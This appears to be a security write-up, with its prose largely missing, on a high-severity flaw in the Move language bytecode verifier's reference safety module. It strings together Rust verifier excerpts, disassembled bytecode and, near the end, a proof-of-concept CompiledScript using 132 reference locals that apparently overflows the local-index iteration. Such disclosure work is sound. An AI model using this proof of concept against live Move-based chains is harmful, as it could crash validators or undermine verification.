Move 引用安全验证模块高危漏洞分析

fn verify_common(&self) -> PartialVMResult<()> {        StackUsageVerifier::verify(&self.resolver, &self.function_view)?;        type_safety::verify(&self.resolver, &self.function_view)?;        locals_safety::verify(&self.resolver, &self.function_view)?;        reference_safety::verify(&self.resolver, &self.function_view, &self.name_def_map)    }

pub(crate) fn verify<'a>(     resolver: &'a BinaryIndexedView<'a>,     function_view: &FunctionView,     name_def_map: &'a HashMap<IdentifierIndex, FunctionDefinitionIndex>, )-> PartialVMResult<()> {     let initial_state = AbstractState::new(function_view);     let mut verifier = ReferenceSafetyAnalysis::new(resolver, function_view, name_def_map);     verifier.analyze_function(initial_state, function_view) } 

 // Create basic blocks         let mut blocks = Map::new();         let mut entry = 0;         let mut exit_to_entry = Map::new();         for pc in 0..code.len() {             let co_pc = pc as CodeOffset;              // Create a basic block             if Self::is_end_of_block(co_pc, code, &block_ids) {                 let exit = co_pc;                 exit_to_entry.insert(exit, entry);                 let successors = Bytecode::get_successors(co_pc, code);                 let bb = BasicBlock { exit, successors };                 blocks.insert(entry, bb);                 entry = co_pc + 1;             }         }  fn is_end_of_block(pc: CodeOffset, code: &[Bytecode], block_ids: &Set<BlockId>) -> bool {         pc + 1 == (code.len() as CodeOffset) || block_ids.contains(&(pc + 1))     }     fn record_block_ids(pc: CodeOffset, code: &[Bytecode], block_ids: &mut Set<BlockId>) {         let bytecode = &code[pc as usize];          if let Some(offset) = bytecode.offset() {             block_ids.insert(*offset);         }          if bytecode.is_branch() && pc + 1 < (code.len() as CodeOffset) {             block_ids.insert(pc + 1);         }     }

main() { L0:  loc0: u64 B0:   0: LdU64(42)   1: LdU64(0)   2: Gt   3: BrTrue(7) B1:   4: LdU64(2)   5: StLoc[0](loc0: u64)   6: Branch(9) B2:   7: LdU64(1)   8: StLoc[0](loc0: u64) B3:   9: Ret } }

script {    use {{sender}}::M;
    fun main() {        let t = M::create(10);
        // create a reference directly        M::change(&mut t, 20);
        // or write reference to a variable        let mut_ref_t = &mut t;
        M::change(mut_ref_t, 100);
        // same with immutable ref        let value = M::value(&t);
        // this method also takes only references        // printed value will be 100        0x1::Debug::print<u8>(&value);    }}

pub(crate) struct AbstractState {    current_function: Option<FunctionDefinitionIndex>,    locals: BTreeMap<LocalIndex, AbstractValue>,    borrow_graph: BorrowGraph,    num_locals:usize,    next_id:usize,

let post_state = self.execute_block(block_id, pre_state, function_view)?;             let mut next_block_candidate = function_view.cfg().next_block(block_id);             // propagate postcondition of this block to successor blocks             for successor_block_id in function_view.cfg().successors(block_id) {                 match inv_map.get_mut(successor_block_id) {                     Some(next_block_invariant) => {                         let join_result = {                             let old_pre = &mut next_block_invariant.pre;                             old_pre.join(&post_state)                         };                         match join_result {                             JoinResult::Unchanged => {                                 // Pre is the same after join. Reanalyzing this block would produce                                 // the same post                             }                             JoinResult::Changed => {                                 // If the cur->successor is a back edge, jump back to the beginning                                 // of the loop, instead of the normal next block                                 if function_view                                     .cfg()                                     .is_back_edge(block_id, *successor_block_id) {                                     next_block_candidate = Some(*successor_block_id);                                 }                             }                         }                     }

fn join(&mut self, state: &AbstractState) -> JoinResult {         let joined = Self::join_(self, state);         assert!(joined.is_canonical());         assert!(self.num_locals == joined.num_locals);         let locals_unchanged = self             .iter_locals()             .all(|idx| self.locals.get(&idx) == joined.locals.get(&idx));         let borrow_graph_unchanged = self.borrow_graph.leq(&joined.borrow_graph);         if locals_unchanged && borrow_graph_unchanged {             JoinResult::Unchanged         } else {             *self = joined;             JoinResult::Changed         }     } 

pub fn join_(&self, other: &Self)

-> Self {        assert!(self.current_function == other.current_function);        assert!(self.is_canonical() && other.is_canonical());        assert!(self.next_id == other.next_id);        assert!(self.num_locals == other.num_locals);        let mut locals = BTreeMap::new();        let mut self_graph = self.borrow_graph.clone();        let mut other_graph = other.borrow_graph.clone();        for local in self.iter_locals() {            let self_value = self.locals.get(&local);            let other_value = other.locals.get(&local);            match (self_value, other_value) {                // Unavailable on both sides, nothing to add                (None, None) => (),
                (Some(v), None) => {                    // A reference exists on one side, but not the other. Release                    if let AbstractValue::Reference(id) = v {                        self_graph.release(*id);                    }                }                (None, Some(v)) => {                    // A reference exists on one side, but not the other. Release                    if let AbstractValue::Reference(id) = v {                        other_graph.release(*id);                    }                }
                // The local has a value on each side, add it to the state                (Some(v1), Some(v2)) => {                    assert!(v1 == v2);                    assert!(!locals.contains_key(&local));                    locals.insert(local, *v1);                }            }        }
        let borrow_graph = self_graph.join(&other_graph);        let current_function = self.current_function;        let next_id = self.next_id;        let num_locals = self.num_locals;
        Self {            current_function,            locals,            borrow_graph,            num_locals,            next_id,        }    }}

let num_locals = function_view.parameters().len() + function_view.locals().len();

    fn iter_locals(&self) -> impl Iterator<Item = LocalIndex> {        0..self.num_locals as LocalIndex    }

fn PoC(){       let sigs = (0..132)    .map(|_|  Reference(Box::new(U64)))    .collect::<Vec<_>>();    let script = CompiledScript {    version:5,    module_handles:vec![],       struct_handles:vec![],    function_handles:vec![],    function_instantiations:vec![],   signatures: vec![Signature(sigs)],    identifiers:vec![],    address_identifiers:vec![],    constant_pool:vec![],    metadata:vec![        Metadata {            key:vec! [],            value: vec![],        },    ],    code: CodeUnit {        locals: SignatureIndex(0),        code: vec![CopyLoc(57), StLoc(57), CopyLoc(57), StLoc(41), Branch(0)],    },    type_parameters:vec![],    parameters:SignatureIndex(0),


};let res=crate::verify_script(&script);}

for local in self.iter_locals()